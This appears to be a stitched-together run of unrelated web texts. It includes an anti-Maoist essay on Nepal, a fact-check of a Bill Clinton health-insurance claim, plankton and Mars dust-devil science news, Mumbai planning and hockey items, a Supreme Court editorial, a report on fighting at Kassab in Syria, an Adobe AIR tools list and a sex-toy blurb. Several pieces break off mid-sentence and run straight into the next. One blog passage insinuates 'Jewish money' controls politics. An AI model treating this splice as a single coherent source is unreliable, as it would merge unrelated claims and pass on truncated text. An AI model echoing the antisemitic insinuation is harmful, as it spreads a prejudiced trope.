Postcard Set: This is also known as the "Wish You Were Here |
general growing Nepali disillusionment with politics may breed clarity. The perpetual intense competition of left and right factions of Nepali politics for control of the state has dominated society to the extent that it's tended to subordinate all other struggles to these organisations' goals. But recent developments could be seen historically as perhaps beginning to 'clear the decks' for what is always ultimately necessary for struggles of the exploited; to recognise that those who seek to rule over 'the masses' in their name are often the greatest obstacle to radical social movements and must be opposed as the aspiring left wing of the ruling class. The self-organisation of struggles must be a struggle against such enemies as much as any other; how many among the Nepali exploited will draw this conclusion and use it to inform their future practice is too early to say.
To call the Maoists' present factional rivalries 'class struggle within the Party' is another myth; these rivalries occur far above the heads of the exploited, who have no more influence on them than on the squabbles of any other party leadership - the masses of poor are mere spectators, even if such power battles are undertaken supposedly in their name. The relationship is the same as between all other political party representatives and their constituencies. The claim that they represent opposing class outlooks is, again, transplanting mystified Marxian terms onto the leftist wing of the bourgeois democratic process and its internal rivalries. (All three Maoist leaders are from highly educated, high caste relatively upper class backgrounds.)
The armed struggle is over (unless Baidya's faction were to make a last desperate attempt) and has paved the way for the Maoist majority to be integrated into parliamentary politics. So far there has been no "Nepalese Revolution" to "sell out" as disillusioned pro-maoist ex-cheerleaders claim. Even in Maoist terms they've failed to get anywhere near their oft-expressed and distorted conception of'revolution' - ie, the Party's exclusive seizure of state power. (Some will desperately claim they are still progressing through the 'necessary stages' towards that.) They can't even claim sole credit for overthrow of the monarchy - that was achieved in alliance with a wider "Jana Andolan-II" pro-democracy movement, including a Seven Party Alliance and major street protests[15]. Nor can they claim any evidence for a revolutionary sentiment among the vast majority of the poor; the leaked Prachanda video revealed the PLA strength at ceasefire as only 7,000 after a decade of guerrilla war[16]. So we see no'revolution'. To talk about 'a sell out of the Nepalese Revolution' also implies that the Maoists co-opted/recuperated and led astray a larger revolutionary movement. But there was no such movement pre-dating the Maoist guerrillas - and, as recent events make even clearer, the Maoists' activity was an armed reformism seeking military and political entry and accommodation within the bourgeois state, as functionaries and beneficiaries of the ruling class. Pro-maoists may pretend otherwise, but the remaining internal Maoist conflicts are not between'revisionist' and'revolutionary' 'lines'; but only about the extent and pace of this accommodation and its rewards.
The competing Party factions have expressed no disagreement over the Party's long term economic programme; ie, its plans to exploit the working class via SEZs, strike bans etc. The conflicts are over which route to be taken to maximise the accumulation of political power (with its accompanying wealth) and how it is to be allocated between the competing Party factions: i.e., the politics of a red bourgeoisie.
8*8*8*8
NOTES
[1] The Maoists used the same cynical tactics as other parties to inflate the image of their popular support;
"After demolishing large parts of the city to widen roads, the municipality and government have trained their sights on Kathmandu's squatter settlements like this one on the banks of the fetid Bagmati. Politicians settled supporters on the floodplains and public land in Kathmandu over the past 20 years to pad up vote banks, occupy prime real estate and muster numbers for street demonstrations. Many in the slums are millionaires with other houses and property in the city, and they now have so much political clout no politician dare evict them." http://www.nepalitimes.com/issue/2012/01/11/Headline/18878
"The settlers below Bagmati Bridge in Thapathali were first brought in by the Maoists in 2006 for the pro-democracy movement against king Gyanendra. They have subsequently been used for political rallies like the six-day total shutdown in 2009.
"It was us who provided the numbers for the Maoist party for its show of strength in political rallies," says Dipak Rai, who leads the Struggle Committee of Squatters, "and now the same party is trying to get rid of us.
The Maoists, it turns out, were just following in the footsteps of the UML which perfected vote-bank resettlement in Kathmandu into a fine art."
http://www.nepalitimes.com.np/issue/2012/01/11/Nation/18872
[2] Bussed-in peasants began draining away after a few days of orchestrated protest in Kathmandu, some complaining of being pressured to attend by Maoist cadre. For all their claimed rural support base, the Maoists appear to have badly miscalculated by timing the protests just as the peasants' crucial planting season began.
[3] The appeal of 3rd worldist 'Marxism' to western leftists is partly a rejection of revolutionary possibilities for the western working class. Western Maoism is now largely US-based, where for a long time Maoist politics dominated leftism. It remains based partly on romanticising faraway struggles - far enough away to blur all contradictions and to be uncritically fed dubious flattering propaganda. 'Anti-imperialism' is seen as sufficient reason to support and excuse the most repressive regimes (though Mao's cosying up to Nixon and Pol Pot's 1970s bloodbath were to finally shatter some illusions). In the 1960s many white leftists (oft-times motivated by guilt) saw the white working class as 'bought off by imperialism' - and US blacks as most oppressed, therefore the US 'proletarian vanguard'. Many black leftist groups identified with 3rd world national liberation struggles - and guilt-ridden white leftism often followed their lead.
[4] http://libcom.org/library/myths-realities-nepalese-maoists-their-strike-ban-legislations
http://libcom.org/news/nepal-victory-turns-sour-22012009
http://libcom.org/news/nepal-maoists-restate-intention-ban-strikes-other-news-10042009
Other examples of pro-maoist responses and distortions; http://kasamaproject.org/2010/01/05/unraveling-a-lie-no-nepals-maoists-didnt-ban-strikes/ - followed by some excellent critical comments by 'kdog'.
http://www.revleft.com/vb/did-nepals-maoists-t125960/index3.html - our comments begin at post #42.
http://kasamaproject.org/2009/01/29/prachanda-nepalese-people-will-seize-power/#comment-11628 - comments correcting various slurs and untruths begin in comments beneath article at post #33. The debate here was at least, for the most part, reasoned and not merely dismissive.
http://www.revleft.com/vb/maoists-nepal-propose-t99880/index.html - a longish debate between left-communists and anarchists against pro-maoists.
http://www.indymedia.org.nz/article/78374/eyewitness-revolution-nepal-touring-nz - see comments beneath article.
[5] On SEZs, see; http://libcom.org/library/myths-realities-nepalese-maoists-their-strike-ban-legislations
[6] See this smugglers dispute where rival Party factions grassed each other up/snitched to the Party and to the cops; http://www.myrepublica.com/portal/in...&news_id=33277
[7] On union rivalry, see;
http://www.thehimalayantimes.com/fullTodays.php?headline=ANTUF%20rift%20reaches%20%20industries&NewsID=281411
The Maoist ANTUF union reflected the wider Party divisions when it split along the lines of the three factions and had to be patched back together;
"What does the dissolution of the three parallel Maoist trade unions mean? It means that the situation had become untenable in the eyes of the public, even if the absurdity of three separate unions belonging to the one mother party was simply a reflection of the seemingly irreconcilable three-way split in the highest echelons of the not quite United Communist Party of Nepal, Maoist." http://www.nepalitimes.com.np/issue/2011/04/4/Editorial/18086
[8]
"The casinos in Kathmandu are another source of income for the union. Sources say the union raises more than Rs 100,000 from each of the eight casinos here. "The union gives protection to the casinos and the casino owners pay handsome amount to the union leaders for that," says a junior leader of the union."
http://archives.myrepublica.com/portal/index.php?action=news_details&news_id=29147
[9] http://www.ekantipur.com/the-kathmandu-post/2012/01/13/top-story/maoist-party-is-the-richest-cash-details-submitted-to-ec-show/230373.html
[10] http://www.myrepublica.com/portal/index.php?action=news_details&news_id=31829
[11] The dominant overall mode of production is easily confused by shallow 3rd Worldist observation;
Question; which '3rd World' country is described thus?
"Not until the 1960s did the urban population surpass the rural population."... "Until the middle of the twentieth century, agriculture was dominated by small holdings and family farms. Two factors have affected rural land holdings since World War II. There has been an acceleration of the rural exodus leading to a strong migration toward cities, along with a consolidation of farm lands that had been scattered through inheritance patterns."
Answer; No, not a developing Asian country that would be termed as at least'semi-feudal' by Maoists - the country is France. http://www.everyculture.com/Cr-Ga/France.html
[12]
A recently published report by World Bank (WB) on "Immigration And Remittance Fact Book 2011", stated that till 2010, some 982,200 Nepali people have migrated to foreign lands, which accounts for 3.2 percent of total population of the country, reports Karobar daily.
Of the total Nepali immigrants, 68.2 percent are female while 13.8 percent are refugees.
The top 10 destinations for Nepali immigrants include India, Qatar, USA, Thailand, UK, Saudi Arabia, Japan, Brunei, Darussalam, Australia and Canada.
Those Nepalis who have migrated to other countries for the purpose of study account for 3.5 percent of total migration. [...]
"In 2011, the country received US $ 3.5 billion as remittance, which accounts for 23 percent of the country's GDP." http://www.nepalnews.com/archive/2011/feb/feb15/news10.php
Other sources claim the number of migrants as much higher, up to 2 million.
[13] As we had indicated in 2006 during the pro-democracy protests;
"Since 1950, whenever faced with armed or other political opposition, the royal autocracy have repeatedly promised democratic reform, before abandoning the commitment with another wave of repression;... For the moment, the situation in Nepal might be classified as an unfinished bourgeois revolution. But then, perhaps one could have said that at any time since 1950. The once and for all decisive abolition of royal autocracy is the logical next historic step for the bourgeois forces..."
http://libcom.org/news/article.php/nepal-maoists-protests-analysis-2006
[14] Late Marx and the Russian Road: Marx and the "Peripheries of Capitalism" - ed. T. Shanin, Monthly Review Press, 1984.
[15] One could argue over how crucial the Maoists' participation in Jana-Andolan II was in achieving its goals. But the existence of such a movement was certainly not dependent on the Maoists - as shown by the first Jana-Andolan democracy movement in 1990 which occurred years before the emergence of the Maoist Party and its guerrilla activity.
On People's Movement-II; https://en.wikipedia.org/wiki/2006_democracy_movement_in_Nepal
[16] http://libcom.org/news/fierce-one-speaks-forked-tongue-nepalese-maoists-leave-government-sackings-lies-videotape-1According to a recent poll, "there are more young Republicans enrolled in their parents' (health insurance) plans than young Democrats."
During a speech to support President Barack Obama’s health care law, former President Bill Clinton offered a juicy bit of polling data about one of the law’s provisions -- one that allows young Americans to remain on their parents’ health insurance policies up to the age of 26. He said more young Republicans are on their parents’ plans than young Democrats.
Clinton, speaking at his presidential center in Little Rock, Ark., on Sept. 4, 2013, said the option to stay on a parent’s policy up to age 26 is a key element of Obama’s law, because it helps keep younger Americans covered. Some young people, presuming they won’t ever get sick, might otherwise be tempted to skip purchasing insurance coverage altogether.
Clinton went on to cite data from recent polling by the Commonwealth Fund showing that "large numbers of young people aged 26 and younger have already enrolled in their parents' plans. And interestingly enough -- if I were you guys, I'd promote this, (saying) these Republicans are the personal responsibility party -- there are more young Republicans enrolled in their parents' plans than young Democrats."
The irony that young supporters of the GOP -- the party that has repeatedly tried to repeal or defund Obama’s law -- are actually using this part of the law more than young Democrats are led to chuckles in the audience.
We wondered: Is Clinton’s tidbit correct?
We turned to the Commonwealth Fund study in question. The fund is a 95-year-old group that aims to "promote a high-performing health care system that achieves better access, improved quality, and greater efficiency, particularly for society's most vulnerable, including low-income people, the uninsured, minority Americans, young children, and elderly adults." The fund is nonpartisan but generally seen as supportive of Obama’s law.
The fund conducted two polls of young Americans -- one taken in November 2011, the other taken in February and March 2013. Unlike traditional telephone polls, this survey uses Internet respondents drawn from a sample that, by design, closely mirrors the demographic patterns of the population at large. In 2013, the pollsters invited 3,530 adults aged 19 to 29 to complete the 2013 online questionnaire. More than half responded, producing a margin of sampling error of slightly more than 3 percentage points.
Here’s a summary of what the pollsters found in 2013 when they asked whether a survey participant age 19 to 25 had, in the past 12 months, opted to stay on or enroll in their parents’ health plan:
Party Yes, signed on to parents’ plan No, didn’t sign on to parents’ plan Democrats 45 55 Republicans 63 36 Independents 62 38
So, Clinton was right -- 63 percent of young Republicans, compared to only 45 percent of young Democrats had signed on to their parents’ plan, something they couldn’t have done without passage of Obama’s law.
Sara R. Collins, vice president of Affordable Health Insurance for the Commonwealth Fund, provided us with some additional details about the survey. The survey included 1,001 respondents between 19 and 25 who were asked whether they consider themselves Republican, Democrat or Independent. Twenty-eight percent of respondents, or 285 people, considered themselves Democrats, while 26 percent, or 259 people, self-identified as Republicans.
Because the question Clinton cited only concerned a portion of the people polled, the answers come with a higher margin of error than the overall poll. Collins said the Commonwealth Fund did not determine a sampling error for this specific question but found the results "statistically significant." Put another way, the results are reliable.
"President Clinton’s statement is accurate," Collins said. "The difference between young adults who identify as Republicans and those who identify as Democrats enrolled on their parents' policies is statistically significant in the survey. A greater share of young adults who identify themselves as Republicans are estimated to have enrolled on their parents' plans than did young adults who identified themselves as Democrats."
For what it’s worth, the partisan variation was more pronounced in 2013 than it was in 2011. That year, respondents of all three partisan affiliations had much closer rates of signing up for a parent’s plan -- 50 percent of Democrats, 54 percent of Republicans and 55 percent of Independents.
Our ruling
Clinton said "there are more young Republicans enrolled in their parents' (health insurance) plans than young Democrats." Polling data from the Commonwealth Fund supports the claim. We rate the statement True.Global change puts plankton under threat
Marine plankton under the microscope
Changes in the ocean’s chemistry, as a result of increasing atmospheric carbon dioxide (CO2) levels, threaten marine plankton to a greater extent than previously thought, according to new research.
The research, published in Nature Climate Change, revealed around half the CO2 released through human activity dissolves in the ocean, where it forms carbonic acid leading to a decrease in seawater pH.
Scientists found the changes in the pH levels, along with global warming, could lead to poor growth if not death of marine plankton.
Professor John Beardall from the School of Biological Sciences at Monash University collaborated with international researchers from Swansea University’s Centre for Sustainable Aquatic Research, who led the study, the Marine Biological Association, Plymouth, the University of Dundee and the University of Technology in Sydney.
Professor Beardall said the impact that ocean acidification-induced changes have on plankton was a major concern.
“This research suggests the impact of oceanic acidification upon marine plankton could be more serious than previously thought,” Professor Beardall said.
“Acidity levels will more than double by the end of the century as a result of the increase in CO2 levels in the ocean, but it is unclear how the growth of plankton will respond to this increase.”
Using mathematical modelling and their understanding of cellular physiology, the team has found that many marine plankton will experience a substantially more acidic environment than currently suggested.
Professor Beardall plans to develop the research further to understand the effects of ocean acidification and other aspects of climate change on key Australian phytoplankton species.
The research was funded by the Natural Environment Research Council (NERC).In a first for the city, the Brihanmumbai Municipal Corporation (BMC) has decided to incorporate students’ ideas while framing its polices.
In a competition held by the BMC and think-tank Observer Research Foundation (ORF), the officials got new ideas for urban planning that can be used for the city’s benefit.
The winning entries includes ideas to make use of vacant housing for amenities, assessing the city’s bio-diversity index, a cultural policy for the city and focusing on local-area planning. Students were asked to pick topics from the recently released Development Plan (DP) 2034.
Sayali Udas Mankikar, a research fellow at the ORF, said the competition was organised to bridge the gap between policy-making and academia.
“The students reviewed exiting policies with real-time data. They interacted with civic officials to understand the ground reality. With this competition, we are opening doors for academia in urban planning.”
ORF had received 33 entries from students across 15 institutions. Berjis Driver, who won the first prize presented a research paper titled Transfer of Identity - Establishment of a Unification model for the open spaces of Mumbai. All seven winners will be felicitated on Friday.
A student of Lokmanya Tilak Institute of Architecture and Design Studies in Navi Mumbai, Driver pitched ideas to make open spaces accessible to all. He said, “I got this idea looking at the lack of open spaces in the city and the non-accessibility of the ones existing. Legislative guidelines are imminent to achieve this.”
An urban planner working with the DP the department said department is looking at ways to incorporate Driver’s ideas for the city’s final open spaces policy. An interim policy on open spaces is currently pending with the general body for approval.
DP to be discussed on Friday
After a delay, the BMC will start discussing the DP 2034 in its general body meeting on Friday. Officials said meetings have been scheduled on July 14 and 15 to discuss the DP. Yashwant Jadhav, Shiv Sena corporator and leader of the House, said they are hoping to pass the DP blueprint on Saturday. “If we don’t reach a consensus on Saturday, then the plan will be discussed on Monday,” Jadhav said. The last day for BMC to submit the DP to the state is July 18.
First Published: Jul 14, 2017 09:59 ISTNASA's Spirit rover tracked this martian dust devil for nearly 10 minutes in 2005; you can spot additional, smaller dust devils in the background as it passes.
NASA/JPL
Dust devils are whirlwinds that range from small surface disturbances to towering columns of dust. They occur in several locations on Earth, but our planet isn’t the only place in the solar system where these storms can be found — dust devils have also been spotted by orbiters and landers on Mars. New research into these seemingly isolated events has revealed that they’re not as small-scale as they seem, as dust particles lifted by winds can not only remain suspended in the atmosphere, but may also be transported vast distances to affect weather and conditions on a much larger scale.The work, carried out by Jan Raack of the Open University and a team of international collaborators, was presented Monday at the European Planetary Science Congress 2017 in Riga, Latvia. While conditions on most planets can’t be easily replicated or studied on Earth, dust devils are one exception; Raack and his team planted themselves in the path of these whirlwinds to sample dust particles at different heights to better understand how they transport dust. They learned that small dust particles lifted into the air by a dust devil can have far-reaching effects on air quality and weather, illustrating the role dust devils play in planetary climates, whether on Earth or Mars.In fact, dust devils likely influence martian weather and conditions to an even greater degree, given that the majority of the planet’s surface is arid and contains a higher dust content than Earth. Dust devils are believed responsible for about half of the dust present in the martian atmosphere; they can also grow several times larger than Earth’s dust devils. At such sizes and intensities, they could post a concern for rovers, landers, and eventually humans on the surface of the planet.To complete their work, members of the team let dust devils sweep over them while holding a pipe coated with double-sided tape. “The method for sampling is simple — although not actually that pleasant to carry out as it involves getting sandblasted,” Raack said in a press release. Dust grains from the dust devil would stick to the pipe, and the team would transfer those grains to glass slides for study using a microscope, making sure to note the height above the ground at which the dust was collected.They found that the largest dust grains stayed near the bottom of the dust devils, while the smallest rose to the top. From there, 60-70 percent of the smallest dust grains (with diameters less than 0.001 inch [0.03 millimeter]) remained suspended in the air, even after the dust devil had passed. Winds could then transport those particles over vast distances, affecting the climate elsewhere.Buffalo Sabres center Ryan O'Reilly, acquired from the Colorado Avalanche in a draft-day trade Friday, will be looked upon to help their future franchise center to acclimate.
With forward Jack Eichel set to take the spotlight after the Sabres selected him with the No. 2 pick in the 2015 NHL Draft, coach Dan Bylsma will have O'Reilly, a six-year NHL veteran at the age of 24, to mentor him.
"It's flattering to be looked at that way," O'Reilly said Monday. "To come in with confidence in myself and them having confidence in me, it's definitely a huge honor and I'm looking forward to it."
O'Reilly had 17 goals and 55 points in 2014-15 and the highest average ice-time among Colorado forwards.
But O'Reilly never felt challenged to be a vocal leader with the Avalanche, which is what he's looking forward to doing with the Sabres.
"I've always wanted to be a big piece like that, have that leadership role and be seen as that by the management," he said. "It's another area to grow my game. If I can do that and transfer what I know and still at the same time learn new things, it's only going to benefit the team and benefit myself. It's a huge step that I can't wait to get started with."
With a year left on his contract, O'Reilly can sign a contract extension with the Sabres when free agency begins Wednesday and said he is interested in doing so.
The Sabres finished in last place the past two seasons, but a bustling offseason has helped bolster their status for 2015-16. With O'Reilly came forward Jamie McGinn, who also has a year left on his contract and played with O'Reilly in Colorado for the past four seasons.
"[Jamie] brings so much to the table," O'Reilly said. "He's a big body that finishes checks and plays with grit, and at the same time he's got great scoring touch. He's tough to play against."
Additionally, the Sabres added forwards Evander Kane and Sam Reinhart, who O'Reilly could see as his wings on the top line, and Bylsma said either Eichel, Reinhart or Zemgus Girgensons will likely move from center to wing.
O'Reilly is familiar with Kane, having frequently played against him and the Winnipeg Jets in the Western Conference.
"For Kane, obviously playing against him a lot, he's a guy that you give him a chance, he's going to bury it," O'Reilly said. "He creates so much with his speed and his strength that he's going to make any team more effective, more dangerous."
Buffalo general manager Tim Murray also added goaltender Robin Lehner in a trade with the Ottawa Senators.
O'Reilly said he is confident in the team Murray is putting together.
"Anyone can win on any given night, and with the additions that we've made over the last couple days, we're going to be right in the mix of that," O'Reilly said. "We have to start preparing for that and get ready to take that responsibility on. It starts in the summer with training and coming to camp ready to play.
"It's never going to be easy, but this is the group that I think we can turn it around and get back in the winning books."The Washington Post’s Dana Milbank has a splendid/witty column on the Obama-Netanyahu meeting characterizing it as a "surrender" by Obama, pointing out that a reporter had to bring up settlements, Obama didn’t. And this:
Four months ago, the Obama administration made a politically perilous decision to condemn Israel over a controversial new settlement. The Israel lobby reared up, Netanyahu denounced the administration’s actions, Republican leaders sided with Netanyahu, and Democrats ran for cover. So on Tuesday, Obama, routed and humiliated by his Israeli counterpart, invited Netanyahu back to the White House
This is significant. A few years back Milbank disgraced himself by attacking Walt and Mearsheimer as whiteknuckled Teutons, code for Nazis. Now he’s making the Israel lobby–correctly–the villain of the piece. It shows: a, how the conventional wisdom has changed in D.C., b, how ambitious journalists now regard the Israel lobby as a subject on which careers are made not lost, c, how desperate liberal Zionists, which is the rough camp I would put Milbank in off the cuff (he worked for the New Republic, he’s Jewish), are to see real pressure to save the Jewish state from the crazies, d, how competitive writers are with Peter Beinart, e, all the above. Of course there’s only one way this sort of inquiry goes: it brings you inevitably to the amount of Jewish money in the political process and the pro-Israel identity construction of American Jews. Why is Obama so scared? And can Milbank give him base?Eight justices heard oral arguments in the final case of the Supreme Court’s term on Wednesday. When will the court return to full strength?
That question is as urgent today as it was immediately after the death two and a half months ago of Justice Antonin Scalia. But the initial wave of outrage at the Senate Republicans’ hard-line refusal to consider replacing Justice Scalia has ebbed, making it that much easier for Republicans to keep the seat empty through the presidential election. If they succeed, the court will go nearly two terms, and possibly longer, without a ninth member.
The consequences of the impasse have been growing graver by the day. Already the justices have split 4 to 4 in two cases, leaving important legal issues unresolved. In one, the court failed to decide a major labor case involving the longstanding right of public-sector unions, which represent millions of American workers, to charge collective bargaining fees to nonmembers. By the term’s end in late June, it’s likely that several more cases will have ended in tie votes, including possibly the fights over abortion restrictions in Texas, access to birth control and President Obama’s executive actions on immigration.
It could get worse from here. So far, the justices’ docket for the term beginning in October is smaller than usual, and the eight-member court may hesitate before taking on high-profile cases on controversial topics that are more likely to result in split votes. Already, major cases involving restrictive voting laws in North Carolina and Texas, pharmacists who want the right to refuse to fill contraceptive prescriptions for religious reasons, and Mr. Obama’s efforts to reduce pollution from coal-fired power plants are before the court or could be soon. All could languish in legal limbo.LOS ANGELES (AP) — A scathing audit says the California State Bar has failed to consistently protect the public from bad lawyers and lacks financial accountability.
The California State Auditor’s report released Thursday says the state bar — the nation’s largest — settled hundreds of complaints against attorneys in 2010 and 2011, in some cases without adequately disciplining them.
More than 30 of those attorneys were later disbarred after new complaints were filed or the California Supreme Court found that the discipline appeared inadequate.
The audit says the bar also spent $77 million on a new building in 2012 four months after estimating to the state Legislature that it would only cost about $25 million.
State bar President Craig Holden says in a statement that the organization is embracing the recommendations and has begun addressing the problems identified.
(Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.)BEIJING — He was starved, pummeled and interrogated for days on end in an ice-cold room where sleeping, sitting or even leaning against a wall were forbidden. One beating left Wang Guanglong, a midlevel official from China’s Fujian Province, partly deaf, according to his later testimony. Suicide, he told relatives and his lawyers afterward, tempted him.
In the end, he said, he took a deal: He signed a confession acknowledging he had accepted $27,000 in bribes, wrongly believing he would be released on bail and able to clear his name of a crime he says he did not commit.
“He did what they told him to do in order to save his own life,” his sister, Wang Xiuyun, said in an interview.
China is in the midst of a scorching campaign against government corruption, one that has netted more than 50 high-ranking officials and tens of thousands of workaday bureaucrats as part of President Xi Jinping’s effort to restore public confidence in the ruling Communist Party. In the first half of this year, prosecutors opened more than 6,000 investigations of party officials, according to government statistics released in July.The Armenian town Kassab has a lot of archaeology and history, but it may soon drown in a flood of lead and rubble. The town has been emptied of its people and the gunmen have spread in the streets and churches. There has been fighting in and around the town, and there’s information that it will soon be a scene of a battle between the Syrian army and hard-line Islamic factions, if there is no urgent settlement by intermediaries that find in the history of the town and its symbolism enough reasons to spare it destruction.
The fighting has continued for the fifth day in a row in the hills and villages around Kassab in the northern Latakia countryside, particularly in the villages Samra, al-Nabain and Jabal al-Nisr. There have been no violent clashes in the town itself, which for the first time was stripped of its crosses. Jabhat al-Nusra members destroyed them when they entered town. This was confirmed by Abu Qatada al-Masri, who posted on his Twitter account pictures of al-Nusra members destroying crosses inside the churches.
The fighting in the area was hit and run, to the extent that control over some areas changed hands several times between the gunmen and the army over a period of hours. It is difficult to talk about the final outcome of these battles because they are subject to field developments that are changing by the hour. This may be what happened at Point 45 and Jabal al-Nisr, where the gunmen of radical factions imposed their control on Jabal al-Nisr just hours after the attack started last Friday [March 21].
The army regained that location on the same day, but pulled out on Sunday after the militants seized control of the surroundings. But the gunmen, in turn, couldn’t climb the mountain and take up post on its peak after what happened yesterday [March 26] at Point 45, which was vacated by the Syrian army in the wake of a suicide bombing by al-Nusra in preparation for a major offensive. That forced the army stationed at the observatory to withdraw toward the town of al-Qastal most likely.
The reason for this is that Point 45 is the highest point in the region and oversees Jabal al-Nisr, and therefore the gunmen could not establish themselves at the top of Jabal al-Nisr, despite their effective control of the area and its surroundings because they fear the artillery and tanks stationed on Point 45. The tanks and cannons there can easily strike the peak of Jabal al-Nisr, thus the gunmen took position on the top of Jabal al-Nisr only after the army evacuated its positions at Point 45.
A jihadist source told As-Safir that al-Nusra’s suicide bombing was carried out by a BMB transport loaded with bombs and driven by a suicide bomber named Abu al-Muthanna Fahd al-Qassem. The transport was launched from the Farnalq forests and was displaying the Syrian flag, not al-Nusra’s flag. That allowed it to reach the peak at Point 45 and enter the yard of the observatory, where the bomber blew himself up.
Perhaps those who saw the BMB transport thought it contained reinforcements sent by the army. The explosion killed one colonel, and the final number of dead and injured is still unknown. al-Nusra’s dead included Saudi nationals Saleh Bin Ali Bin Saleh al-Ghannam Abu Sahha, Muhammad al-Ghannam Abu Walid al-Qusaimi, Abu Maryam and Azzam al-Ihsai (the real names of the last two are not known). Al-Nusra’s wounded were Abu Mohammed al-Ameriki, who was transferred to an Antakya government hospital in Turkey. The blast also killed a number of Syrian gunmen led by Abu Hussein al-Ansari.
Yesterday, the Syrian army was able to recover Point 45 after artillery and aerial bombardment made it impossible for al-Nusra elements to stay there. Thus they withdrew a few hours after their arrival. But the Syrian army did not reoccupy Point 45, rather, the army left it empty and tightened control over its surroundings.
According to a field source that spoke with As-Safir, al-Nusra lost dozens of gunmen at Point 45, pointing out that the bombing on Point 45 was “pinpoint, heavy and of quality.”
Contrary to rumors, the source confirmed to As-Safir that the Syrian army evacuated the area of Nab al-Murr two days after it obtained control of it due to the depression (a slight valley), which exposes it to the hills around it. Therefore, it may be less costly to shell Nab al-Murr from afar than to set up a post there. Nab al-Murr is an important infiltration route to Jabal al-Nisr and Point 45. What may have encouraged the army to evacuate Nab al-Murr is its ability to shell Jabal al-Nisr and Point 45, noting that Nab al-Murr lies between these two mountains.
The Syrian army also gained control of Nabain, located at Kassab’s western entrance, after violent battles by army soldiers, who evacuated Jabal al-Nisr and joined their colleagues in Nabain. The field source told As-Safir that the army does in fact control this area despite media reports claiming otherwise. In fact, the Syrian Observatory for Human Rights also reported that the Syrian army gained control of the area.
The armed factions that attacked Kassab — among them Jabhat al-Nusra, Ansar al-Sham and the Islamic Front — have tried to extend the clashes toward Qustul Maaf, but they failed and withdrew. Then they targeted Qustul Maaf with mortars from nearby villages like Kanisa, Atra and al-Sawda.
As for Kassab's future in the coming days, it's uncertain. There is the possibility that it could join the list of destroyed cities, though some consider this unlikely, not because of any settlement or |
issues 2 and 3 autographed, couldn’t get $2 for the pair.
Then news happened.
Image Comics’ hit comic book TODD, THE UGLIEST KID ON EARTH is the latest addition to the stable of geek animation god Titmouse, Inc. An adaptation of the monthly comic book series critics have called “the highest quality black comedy available today” is being developed with veteran comedy producers Krysia Plonka and Tracey Baird of Thank You, Brain! Productions, and TODD creators M.K. Perker and Ken Kristensen. Whether aired on Disney XD or Adult Swim, Titmouse’s shows (Venture Brothers, Black Dynamite, Randy Cunningham: Ninth Grade Ninja) are the powerhouses of geek animated comedy and were a natural fit for TODD.
Now? Issue one has just joined the Fifty Dollar Club with multiple copies selling at that price point. Issues one to three are $120 easy.
Something tells me there is more to come…
Dig out your recent longboxes, folks!
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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None foundAdobe AIR – a cross-platform runtime environment for rich-internet and desktop applications – is just starting to get popular outside of the early-adopter circles, but there’s already a growing amount of tools and utilities that can help web designers with various design-related and managerial tasks.
If you’re a web designer that’s into experimenting and trying out new applications (they don’t cost a dime), check out these 10 Adobe AIR applications perfect for web designers. Graphics designers, interaction designers, and web developers might also find this collection useful.
Em Calculator
The Em Calculator created by James Whittaker is based on an article on 24 ways entitled Compose to a Vertical Rhythm. It’s a pain-free way of creating CSS code for typography set on a baseline style, allowing the design to maintain its typographic proportions (i.e. size, line height, margin, padding) when the web page is viewed at a different font sizes.
colorPicker is a simple desktop application for determining hexadecimal values of web-safe colors. colorPicker saves colors you’ve used during the session so you can quickly refer back to it. If a web-safe color isn’t quite what you’re looking for, there’s an option for adjusting the selected color’s RGB values.
The AIR Icon Generator is for designers needing a quick icon/web 2.0 badge created. Using the tool is a easy as pie: enter the text you want to display, choose the icon you want to generate (there’s currently only two styles available) and the color, press "generate icon" and you’re good to go. The output provides four different sizes of the generated icon.
The Google Analytics Reporting Suite brings Google’s powerful website analytics tool to the desktop and adds several nifty features such as the ability to save/switch between different profiles (excellent for managing multiple sites/accounts for clients) and tab-based navigation for statistics pages you’ve opened.
We’ve all had to resize a batch of images at some point – thumbnails for image galleries comes to mind. If you’re looking for a quick-and-easy, free application – check out Shrink O’Matic. Set your desired options/parameters (Output size, Output name, Output format) and then drag your images into the interface (or use the file browser), and you’re done!
There are plenty of situations where you need to take a screen shot of a live site; maybe you’re documenting or collecting websites for your portfolio. WebSnapshot is a hassle-free tool to accomplish just that. You have the option to capture thumbnails, full page (entire width and length of the page), and/or the browser contents of live websites. As an alternative, try out WebKut, which has similar functions.
The kuler desktop brings Adobe’s color theme web application to the desktop. Additionally, kuler desktop allows you to import color themes directly into Adobe software applications such as Illustrator, Photoshop, and InDesign. Be sure to check out Color Browser to help you organize and save color schemes locally from kuler and COLOURlovers.
pixus is a pixel-based ruler for objects on your screen/monitor. It has skins for Internet Explorer 6 and Safari so that you can visualize how a design or object looks in a web browser. pixus allows you to save preset dimensions for later use.
Klok is a nifty, robust project time-tracking tool. Klok comes with pre-defined templates including Web Project geared specifically for web designers and developers.
If you’ve worked as a web designer for while, you’ve probably amassed a big list of bookmarks and code snipplets that you frequently use. Snippley is an application for organizing and managing your code snipplets within an intuitive interface and centralized location.
I hope you found this collection of tools helpful. If you did, you may also be interested in reading Web-Based Tools for Optimizing, Formatting and Checking CSS and 20 Useful Tools to Make Web Development More Efficient.
Did I miss your favorite? Have any experiences with these applications? Drop your inputs in the comments.Spanish designers Discoh have created a sex toy inspired by the aloe vera plant.
Called Aloe, the product comes packaged in a "pot" and its function only becomes apparent once removed.
Here's some text from the designers:
--
ALOE
Physical stimulation. Aesthetic pleasure.
A complicit wink able to be a natural part of our daily environment.
“Aloe” reimagines the role of erotic toys, becoming itself a piece that rises from obscurity to become an integral part of any home. An object of worship. An unexpected gift.
The model gets inspiration from the well-known Aloe-Vera, and shows a refined silhouette that only reveals its true aim once its two pieces are separated (plant + pot)
According to its creators, “Aloe gives the user the chance to choose. It's a dildo. But visually it can also be a plant. It can be a perfect gift or even an elegant way of ending a relationship”.
“Aloe” features a rigid smooth surface and a packaging that draws inspiration from the high-cosmetics world.
www.ivaginarte.com
www.discoh.com
“Aloe” will be produced on demand in a very limited edition. If you are interested, enter your e-mail address and we will keep you up to date on prices and estimated delivery times. www.ivaginarte.com
Technical Information:
Approximate Dimensions:
Length: 208 Mm.
Maximun Thickness: 36 Mm.
Minimun Thickness: 8 Mm.
Packaging Dimensions: 220.4 x 67 x 50.2This event is strictly 18 years and over.
